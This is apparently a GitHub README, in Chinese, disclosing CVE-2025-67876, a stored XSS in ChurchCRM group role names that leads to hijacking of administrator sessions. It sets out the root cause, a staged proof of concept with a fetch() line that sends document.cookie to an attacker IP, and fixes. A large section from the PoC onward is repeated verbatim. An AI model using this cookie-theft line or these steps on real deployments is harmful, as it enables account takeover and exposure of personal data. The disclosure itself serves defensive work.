lukasz-rybak/CVE-2025-67876
GitHub: lukasz-rybak/CVE-2025-67876
分析 ChurchCRM 存储型 XSS 导致管理员会话劫持的成因与利用路径。
Stars: 0 | Forks: 0
# CVE-2025-67876:ChurchCRM 群组角色名称存储型 XSS 导致管理员会话劫持
## 概述
| 字段 | 说明 |
|---|---|
| **CVE ID** | [CVE-2025-67876](https://nvd.nist.gov/vuln/detail/CVE-2025-67876) |
| **严重性** | 严重 |
| **安全公告** | [查看公告](https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh) |
| **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## 影响产品
- **ChurchCRM/CRM**
## 详情
### 摘要
ChurchCRM 中存在一个存储型跨站脚本(XSS)漏洞。低权限用户(具备“管理群组”权限)可将持久性 JavaScript 注入群组角色名称中。该载荷会被保存在数据库中,并在任何用户(包括管理员)查看显示该角色的页面时执行,例如 GroupView.php 或 PersonView.php。这可能导致完整的会话劫持和账户接管。
### 细节
根本原因在于处理群组角色名称时缺乏输入验证和输出编码。
在 GroupEditor.php 中编辑群组时,用户可以修改角色名称。应用程序未对输入进行清理(例如未使用 strip_tags、htmlspecialchars 或服务端验证)。该值直接存储在 list_lst 数据库表中。
随后,该存储值在未转义的情况下被注入到 HTML 中:
- 在 GroupView.php 中,群组角色显示在包裹在 `` 中的表格单元格内。
- 在 PersonView.php 中,用户的分配群组角色在“分配的群组”下显示。
由于未应用任何转义,攻击者可以在角色名称中存储的任何 HTML 或 JavaScript 都会在受害者浏览器中执行。
因此,低权限用户(具备“管理群组”权限)可通过向角色注入 JavaScript 并将该角色分配给管理员来提升权限至完整管理员。
### 漏洞利用示例(PoC)
#### 阶段 1 — 攻击者准备
在攻击者控制的机器上创建 x.js:
`fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));`
启动服务:
`python3 -m http.server 800`
#### 阶段 2 — 注入 XSS 载荷
1. 使用具备“管理群组”权限的账户登录。
2. 导航至:
群组 → 群组列表 → 选择任意群组 → 设置。
3. 在“群组角色”部分,编辑现有角色或创建新角色。
4. 插入恶意载荷:
`">`
在群组角色列表中,点击角色旁边的“默认”。
这确保恶意角色会被自动分配给加入该群组的任何用户,提高管理员查看其个人资料时触发 XSS 的概率。
点击默认角色旁边的“删除”,通常为“成员”。
移除干净的默认角色会迫使系统在未来的所有分配中使用该注入了 XSS 的角色,确保受害者在查看任何显示其分配角色的页面时都会执行载荷。
5. 保存角色名称。
#### 阶段 3 — 将恶意角色分配给受害者
1. 进入群组查看页面。
2. 将任意用户添加为群组成员(例如 Church Admin)。
3. 从下拉菜单中选择恶意角色。
4. 保存分配。
#### 阶段 4 — XSS 执行
当受害者(管理员)访问以下页面时:
- 个人资料页面:PersonView.php
- 群组查看页面:GroupView.php
存储的 JavaScript 会立即执行。
在攻击者服务器上,接收到的请求将显示如下:
这证实了账户劫持成功。
### 影响
- 存储型 XSS
- 完整的管理员会话劫持
- 从低权限用户提升至完整系统管理员的权限提升
- 暴露 ChurchCRM 中存储的所有敏感个人数据
### CWE
CWE-79:在网页生成过程中未能正确中和输入(“跨站脚本”)
### 建议
- 对所有角色名称的渲染实施输出编码(htmlspecialchars)。
- 在服务端验证并清理角色名称。
- 检查其他基于列表的可编辑字段是否存在类似漏洞。
- 考虑使用集中式的转义库或模板引擎。
## 参考链接
- https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh
## 免责声明
本 CVE 遵循协调漏洞披露(Coordinated Vulnerability Disclosure)流程进行负责任披露。此处提供的信息仅用于教育和防御目的。
2. 导航至:
群组 → 群组列表 → 选择任意群组 → 设置。
3. 在“群组角色”部分,编辑现有角色或创建新角色。
4. 插入恶意载荷:
`">`
在群组角色列表中,点击角色旁边的“默认”。
这确保恶意角色会被自动分配给加入该群组的任何用户,提高管理员查看其个人资料时触发 XSS 的概率。
点击默认角色旁边的“删除”,通常为“成员”。
移除干净的默认角色会迫使系统在未来的所有分配中使用该注入了 XSS 的角色,确保受害者在查看任何显示其分配角色的页面时都会执行载荷。
5. 保存角色名称。
#### 阶段 3 — 将恶意角色分配给受害者
1. 进入群组查看页面。
2. 将任意用户添加为群组成员(例如 Church Admin)。
3. 从下拉菜单中选择恶意角色。
4. 保存分配。
#### 阶段 4 — XSS 执行
当受害者(管理员)访问以下页面时:
- 个人资料页面:PersonView.php
- 群组查看页面:GroupView.php
存储的 JavaScript 会立即执行。
在攻击者服务器上,接收到的请求将显示如下:
这证实了账户劫持成功。
### 影响
- 存储型 XSS
- 完整的管理员会话劫持
- 从低权限用户提升至完整系统管理员的权限提升
- 暴露 ChurchCRM 中存储的所有敏感个人数据
### CWE
CWE-79:在网页生成过程中未能正确中和输入(“跨站脚本”)
### 建议
- 对所有角色名称的渲染实施输出编码(htmlspecialchars)。
- 在服务端验证并清理角色名称。
- 检查其他基于列表的可编辑字段是否存在类似漏洞。
- 考虑使用集中式的转义库或模板引擎。
## 参考链接
- https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh
## 免责声明
本 CVE 遵循协调漏洞披露(Coordinated Vulnerability Disclosure)流程进行负责任披露。此处提供的信息仅用于教育和防御目的。标签:AdminSession, API密钥检测, ChurchCRM, CISA项目, CVE-2025-67876, GroupEditor, GroupRole, GroupView, HTML注入, IP 地址批量处理, JavaScript注入, list_lst, ManageGroups权限, PersonView, Web安全, 会话劫持, 协议分析, 存储型XSS, 持久化XSS, 文档安全, 服务端安全, 权限提升, 模糊测试, 网络安全审计, 自动化分析, 蓝队分析, 账户接管, 跨站脚本, 输入验证, 输出编码